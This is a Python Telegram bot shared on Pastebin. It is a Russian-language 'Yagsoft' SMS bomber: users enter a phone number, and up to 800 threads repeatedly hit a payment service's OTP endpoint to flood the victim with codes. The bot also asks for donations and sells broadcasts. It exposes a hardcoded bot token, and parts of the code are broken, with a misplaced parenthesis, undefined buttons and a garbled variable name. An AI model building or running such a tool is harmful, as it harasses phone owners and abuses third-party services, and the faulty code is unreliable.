Advertisement
Guest User

Untitled

a guest
Nov 8th, 2019
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.67 KB | None | 0 0
  1. import requests
  2. import threading
  3. from datetime import datetime, timedelta
  4. from telebot import TeleBot
  5. import telebot
  6. import time
  7.  
  8. TOKEN = '770992053:AAEFWOrPyrgdRBilZACk44rNtthmCXuXQT0'
  9.  
  10. # Можно уменьшить количество потоков-исполнителем этой переменной. Не знаю возможности системы так что ставлю 20
  11. THREADS_LIMIT = 800
  12.  
  13. chat_ids_file = 'chat_ids.txt'
  14.  
  15. ADMIN_CHAT_ID = 1036123056
  16.  
  17. users_amount = [0]
  18. threads = list()
  19. THREADS_AMOUNT = [0]
  20. types = telebot.types
  21. bot = TeleBot(TOKEN)
  22. running_spams_per_chat_id = []
  23.  
  24.  
  25. def save_chat_id(chat_id):
  26.     "Функция добавляет чат айди в файл если его там нету"
  27.     chat_id = str(chat_id)
  28.     with open(chat_ids_file,"a+") as ids_file:
  29.         ids_file.seek(0)
  30.  
  31.         ids_list = [line.split('\n')[0] for line in ids_file]
  32.  
  33.         if chat_id not in ids_list:
  34.             ids_file.write(f'{chat_id}\n')
  35.             ids_list.append(chat_id)
  36.             print(f'New chat_id saved: {chat_id}')
  37.         else:
  38.             print(f'chat_id {chat_id} is already saved')
  39.         users_amount[0] = len(ids_list)
  40.     return
  41.  
  42.  
  43. def send_message_users(message):
  44.  
  45.     def send_message(chat_id):
  46.         data = {
  47.             'chat_id': chat_id,
  48.             'text': message
  49.         }
  50.         response = requests.post(f'https://api.telegram.org/bot{TOKEN}/sendMessage', data=data)
  51.  
  52.     with open(chat_ids_file, "r") as ids_file:
  53.         ids_list = [line.split('\n')[0] for line in ids_file]
  54.  
  55.     [send_message(chat_id) for chat_id in ids_list]
  56.  
  57.  
  58. @bot.message_handler(commands=['start'])
  59. def start(message):
  60.     keyboard = types.ReplyKeyboardMarkup(row_width=2, resize_keyboard=True)
  61.     boom = types.KeyboardButton(text='Атака')
  62.     stop = types.KeyboardButton(text='Стоп Спам')
  63.     info = types.KeyboardButton(text='Информация')
  64.     stats = types.KeyboardButton(text='Статистика')
  65.     faq = types.KeyboardButton(text='FAQ / Соглашение')
  66.  
  67.     buttons_to_add = [boom, stop, info, stats, donat, piar, faq]
  68.  
  69.     if int(message.chat.id) == ADMIN_CHAT_ID:
  70.         buttons_to_add.append(types.KeyboardButton(text='Рассылка'))
  71.  
  72.     keyboard.add(*buttons_to_add)
  73.     bot.send_message(message.chat.id, 'Добро пожаловать🙋‍♂!\nНаш канал в ТГ: @yagsoft\nВыберите действие:',  reply_markup=keyboard)
  74.     save_chat_id(message.chat.id)
  75.  
  76.  
  77. def send_for_number(phone):
  78.         request_timeout = 0.00001
  79.         requests.post('https://koronapay.com/transfers/online/api/users/otps'), data = {"phone":phone}
  80.  
  81. def start_spam(chat_id, phone_number, force):
  82.     running_spams_per_chat_id.append(chat_id)
  83.  
  84.     if force:
  85.         msg = f'Спам запущен на неограниченое время для номера +{phone_number}'
  86.     else:
  87.          msg = f'Спам запущен на 20 минут на номер +{phone_number}'
  88.  
  89.     bot.send_message(chat_id, msg)
  90.     end = datetime.now() + timedelta(minutes = 20)
  91.     while (datetime.now() < end) or (force and chat_id==ADMIN_CHAT_ID):
  92.         if chat_id not in running_spams_per_chat_id:
  93.             break
  94.         send_for_number(phone_number)
  95.     bot.send_message(chat_id, f'Спам на номер {phone_number} завершён')
  96.     THREADS_AMOUNT[0] -= 1 # стояло 1
  97.     try:
  98.         running_spams_per_cзнhat_id.remove(chat_id)
  99.     except Exception:
  100.         pass
  101.  
  102.  
  103. def spam_handler(phone, chat_id, force):
  104.     if int(chat_id) in running_spams_per_chat_id:
  105.         bot.send_message(chat_id, 'Вы уже начали рассылку спама. Дождитесь окончания или нажмите Стоп Спам и поробуйте снова')
  106.         return
  107.  
  108.     # Если количество тредов меньше максимального создается новый который занимается спамом
  109.     if THREADS_AMOUNT[0] < THREADS_LIMIT:
  110.         x = threading.Thread(target=start_spam, args=(chat_id, phone, force))
  111.         threads.append(x)
  112.         THREADS_AMOUNT[0] += 1
  113.         x.start()
  114.     else:
  115.         bot.send_message(chat_id, 'Сервера сейчас перегружены. Попытайтесь снова через несколько минут')
  116.         print('Максимальное количество тредов исполняется. Действие отменено.')
  117.  
  118.  
  119. @bot.message_handler(content_types=['text'])
  120. def handle_message_received(message):
  121.     chat_id = int(message.chat.id)
  122.     text = message.text
  123.  
  124.     if text == 'Информация':
  125.         bot.send_message(chat_id, 'Создатель бота: @yagadmin\nПо вопросам сотрудничества обращаться в ЛС к создателю бота\n\n Ребята, кто может материально помочь на развитие бота\nQIWI карта 4890 4945 0240 6143 \n\nВ Нашем Боте 1 рассылка стоит 100 рублей\nЕе получат все пользователи бота\nПо вопросам покупки писать @yagadmin')
  126.  
  127.     elif text == 'Атака':
  128.         bot.send_message(chat_id, 'Введите номер без + в формате:\n🇺🇦 380xxxxxxxxx\n🇷🇺 79xxxxxxxxx')
  129.  
  130.     elif text == 'Статистика':
  131.         bot.send_message(chat_id, f'📊Статистика отображается в реальном времени📡!\nПользователей🙎‍♂: {users_amount[0]}\nСервисов для RU🇷🇺: 25\nСервисов для UK🇺🇦: 10\nБот запущен: 09.11.2019')
  132.  
  133.     elif text == 'Рассылка' and chat_id==ADMIN_CHAT_ID:
  134.         bot.send_message(chat_id, 'Введите сообщение в формате: "РАЗОСЛАТЬ: ваш_текст" без кавычек')
  135.  
  136.     elif text == 'FAQ / Соглашение':
  137.         bot.send_message(chat_id, '"Yagsoft" предлагается Вашему вниманию при условии Вашего полного согласия со всеми правилами. При доступе или использовании данного сервиса каким-либо образом Вы даете согласие действовать в рамках Пользовательского соглашения\nПОЛЬЗОВАТЕЛЬСКОЕ СОГЛАШЕНИЕ\n1.Настоящее Пользовательское соглашение (далее – Соглашение) относится к сервису информационно-развлекательного ресурса "Yagsoft"\n2.Доступ к сервису предоставляется на бесплатной основе.\n3."Yagsoft" сервис предназначен исключительно для развлекательных целей.\n4.На Администрацию сервиса не возлагается каких-либо обязательств перед пользователями.\n5.Администрация сайта не принимает встречные предложения от Пользователей относительно изменений настоящего Пользовательского соглашения.\n6.Администрация сервиса "Yagsoft" Не несет ответственности за причиненный ущерб третьим лицам попавших под влияние сервиса.\nСпасибо за внимание!')
  138.  
  139.    
  140.     elif text == 'Стоп Спам':
  141.         if chat_id not in running_spams_per_chat_id:
  142.             bot.send_message(chat_id, 'Вы еще не начинали спам')
  143.         else:
  144.             running_spams_per_chat_id.remove(chat_id)
  145.  
  146.     elif 'РАЗОСЛАТЬ: ' in text and chat_id==ADMIN_CHAT_ID:
  147.         msg = text.replace("РАЗОСЛАТЬ: ","")
  148.         send_message_users(msg)
  149.  
  150.     elif len(text) == 11:
  151.         phone = text
  152.         spam_handler(phone, chat_id, force=False)
  153.  
  154.  
  155.     elif len(text) == 12:
  156.         phone = text
  157.         spam_handler(phone, chat_id, force=False)
  158.  
  159.  
  160.  
  161.     elif len(text) == 12 and chat_id==ADMIN_CHAT_ID and text[0]=='_':
  162.         phone = text[1:]
  163.         spam_handler(phone, chat_id, force=True)
  164.  
  165.     else:
  166.         bot.send_message(chat_id, f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11')
  167.         print(f'Номер введен неправильно. Введено {len(text)} символов, ожидается 11')
  168.  
  169. if __name__ == '__main__':
  170.     bot.polling(none_stop=True)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement